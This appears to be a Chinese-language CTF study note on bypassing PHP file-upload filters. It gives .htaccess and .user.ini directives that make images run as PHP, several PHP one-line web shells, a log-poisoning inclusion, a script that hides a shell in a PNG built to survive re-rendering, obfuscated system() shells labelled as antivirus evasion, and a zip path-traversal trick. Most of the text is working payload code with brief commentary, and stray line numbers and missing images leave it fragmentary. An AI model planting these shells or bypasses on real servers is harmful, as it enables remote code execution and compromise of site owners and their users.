php文件上传

前端验证

抓包改文件后缀。

后端验证

 1、.htaccess。
 htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能.
 也就是说如果目标服务器允许用户修改.htaccess文件我们就可以通过它改变文件拓展名或者访问功能来getshell
 
 2、.user.ini
 
 - (1)服务器脚本语言为PHP
 - (2)对应目录下面有可执行的php文件
 - (3)服务器使用CGI/FastCGI模式
 
 .user.ini.它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。

.htaccess

1
2
只能用于Apache服务器
SetHandler application/x-httpd-php .png #把png文件当做php文件解析

.user.ini

1
可以用于多种服务器,但前提是同级目录下必须有一个php文件
1
2
3
4
//.user.ini
auto_prepend_file=1.png
//使得当前目录下的php文件都包含1.png,且解析为php
//但.user.ini刷新时间为300秒
1
2
3
4
5
6
7
8
9
10
//.htaccess
AddType application/x-httpd-php .png //png文件解析为php文件
//意思是说让Apache解析.png文件时也能执行php代码,
//如果.png文件中存在php代码时会被运行(同样可以把后面的.png改成任意后缀,原理一样)

<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
//这里是有针对性的解析php文件,将1.jpg解析成php文件(后缀也可更改)

如果对内容过滤了php或[]

1
2
3
4
5
6
7
8
9
<?= eval($_POST[1]);?>

<? eval($_POST[1]);?>

<% eval($_POST[1]);%>

<?=eval($_GET{1});?>

<?=`tac /var/www/html/flag.p??`?>

文件上传之日志包含

.user.ini

1
auto_prepend_file=1.png

1.png中内容

这边不直接写log是因为它过滤了log。
这边的路径名利用了php的字符串连接特性"/var/lo"."g/nginx/access.lo"."g"

1
2
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
还要再user-agent上加入一句话马

在这里插入图片描述

幻术头字节

在这里插入图片描述

远程文件包含

二次渲染绕过

https://www.fujieace.com/penetration-test/upload-labs-pass-16.html
png ,gif,jpg绕过都不一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
//访问了之后会在本目录下创建一个1.png
?>

上传图片。

图片中的shell:

1
<?=$_GET[0]($_POST[1]);?>

然后到图片所在路径,写shell

怎么判断是否为二次渲染?
如果有以下的字符则,可以判断它进行了二次渲染。
在这里插入图片描述

jpg渲染:
最好先上传一个图片经他的渲染后下载下来,在php它
运行这条命令
在这里插入图片描述
在把生成的图片传进去
在这里插入图片描述

免杀

1
2
3
4
5
6
<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
1
2
3
4
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
1
2
3
4
<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>
1
2
3
4
5
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>

在.user.ini中包含日志

在这里插入图片描述
如过当前目录下没有php文件我们需要上传一个php文件,用来包含
在这里插入图片描述

apache后缀解析漏洞和pclzip解压会目录穿越

1
例题:[第二章 web进阶]文件上传

在这题中,我们要解压出来名字为/../../zzz.php.zzz的文件,所以要先创建一个名字有18个字符的文件,123456789012345678,然后压缩,再用010打开,选择并双击一个start不为0h的。
在这里插入图片描述
把名字改成我们需要的。
在这里插入图片描述
然后上传,访问/zzz.php.zzz就可以了,这样就解析成php了,因为apache是从右到左解析的,遇到不认识的后缀就忽略,但这个漏洞有版本限制。
在这里插入图片描述